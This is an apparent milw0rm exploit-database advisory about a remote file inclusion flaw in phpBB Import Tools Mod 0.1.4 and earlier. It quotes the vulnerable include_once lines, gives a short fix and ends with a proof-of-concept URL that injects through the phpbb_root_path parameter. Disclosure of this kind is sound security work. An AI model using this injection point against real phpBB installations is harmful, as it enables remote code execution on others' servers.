phpBB Import Tools Mod <= 0.1.4 - Remote File Include Vulnerability

# # * # * Title: phpBB Import Tools Mod &#60;= 0.1.4 (phpbb_root_path) Remote File Inclusion # * Author/Discovery: boecke # * Vulnerability Type: Remote File Inclusion # * Risk: High Risk # * Software Affected: phpBB Import Tools Mod &#60;= 0.1.4 # * # * Literally shouts to: str0ke and henrik # * Don&#39;t promote Google-ism! # * # [ Vulnerable Code: ] include_once($phpbb_root_path . &#39;includes/functions_validate.&#39; . $phpEx); include_once($phpbb_root_path . &#39;includes/functions_post.&#39; . $phpEx); include_once($phpbb_root_path . &#39;includes/bbcode.&#39; . $phpEx); [ Fix: ] Correctly sanitize these variables before their use or deny direct access to the script. [ Proof of Concept: ] http://localhost/phpBB2/includes/functions_mod_user.php?phpbb_root_path= # milw0rm.com [2006-10-12]